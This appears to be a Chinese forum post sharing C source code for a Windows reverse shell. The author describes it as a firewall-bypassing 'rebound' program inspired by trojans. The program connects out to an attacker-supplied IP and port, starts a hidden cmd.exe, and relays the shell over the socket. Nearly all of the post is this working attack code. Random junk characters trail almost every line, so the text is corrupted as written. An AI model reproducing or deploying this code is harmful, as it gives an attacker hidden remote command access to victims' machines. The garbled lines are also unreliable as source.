这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $,O8SW.O$
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/* ============================== ae-tAA[1Y
Rebound port in Windows NT 5nBJj
By wind,2006/7 )2wf D
===============================*/ %CYo,
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#include &ZMQ]'&
#include MCTJ^ g"D
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#pragma comment(lib,"wsock32.lib") Fs~*-R$
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void OutputShell(); HCrQ+r{g
SOCKET sClient; h}'Hst
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q=%W-
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void main(int argc,char **argv) d 4tL
{ !0? B=yA
WSADATA stWsaData; byE0Z vDM
int nRet; LH}9&FfjU
SOCKADDR_IN stSaiClient,stSaiServer; VJw7defc
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if(argc != 3) I)#8}[vK
{ rSt5@f?
printf("Useage:\n\rRebound DestIP DestPort\n"); 'hWA&Xx+
return; ` ;mQ"lO
} #hn
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WSAStartup(MAKEWORD(2,2),&stWsaData); \tvL<U"'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NAtDt=
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stSaiClient.sin_family = AF_INET; >`&2]Wc)
stSaiClient.sin_port = htons(0); )N~ p4kp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j7:r8? G
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I+twI&GS
{ LHx ")H?,
printf("Bind Socket Failed!\n"); 6q'Q?Uw^
return; ,6MJW#~]
} Hmm0H6&u
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stSaiServer.sin_family = AF_INET; !%}n9vr!}\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )M"NMUuU"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @,= pG
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9XQE5^
{ W+u,[_
printf("Connect Error!"); -0q|AB<
return; {R63n
} Kv!:2br
OutputShell(); mzM95yQ^Z
} ZZ{c
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void OutputShell() U5-8It2OR
{ .]KC*2
char szBuff[1024]; f^hJA Z
SECURITY_ATTRIBUTES stSecurityAttributes; XP!m]\E&I
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #r"|%nOfY
STARTUPINFO stStartupInfo; h4KMhr
char *szShell; 2DsP "q79k
PROCESS_INFORMATION stProcessInformation; ?5ZvvAi
unsigned long lBytesRead; gQSVPbzK
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f4AN"rW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IQC[ewk
stSecurityAttributes.lpSecurityDescriptor = 0; S-\wX.`R1
stSecurityAttributes.bInheritHandle = TRUE; FsO-xG"@"
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5Hj/7~ =
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @+zWLq!1pB
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hTO2+F*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Va.TUz4
stStartupInfo.wShowWindow = SW_HIDE; Md>C!c
stStartupInfo.hStdInput = hReadPipe; yc9!JJMkH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nG5\vj,zB
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GetVersionEx(&stOsversionInfo); v4E=)?
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switch(stOsversionInfo.dwPlatformId) Hci>q`p#
{ iNl<<0a
case 1: %=2sz>M+
szShell = "command.com"; 4<}@hk
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break; ]smu~t0\
default: ;xw9#.d#D
szShell = "cmd.exe"; _hl| 3
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break; OMmfTlM%
} ; \co{_&D
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8Vn
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send(sClient,szMsg,77,0); q[P> s{"
while(1) JBw2#ry
{ aw lq/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [];wP'*
if(lBytesRead) L3Y2HZ
{ #
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :+QNN<
send(sClient,szBuff,lBytesRead,0); bxxLAWQ(
} mMZrBz7r
else X#0yOSR
{ FdnLxw
lBytesRead=recv(sClient,szBuff,1024,0); [bo"!Qk%
if(lBytesRead<=0) break; iKu3'jZ/O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tFn[U#'
} =Oh$pZRymu
} nXfz@q
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return; ljrJC
}